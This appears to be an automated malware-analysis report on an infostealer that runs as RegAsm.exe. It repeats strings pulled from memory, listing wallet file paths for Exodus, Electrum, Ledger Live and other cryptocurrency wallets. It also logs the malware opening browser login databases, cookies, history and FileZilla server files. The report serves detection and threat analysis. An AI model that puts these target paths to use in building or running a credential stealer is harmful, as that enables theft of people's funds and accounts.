Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: evokeedgellc.comns\AppData\Roaming\Binance\.finger-print.fp
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
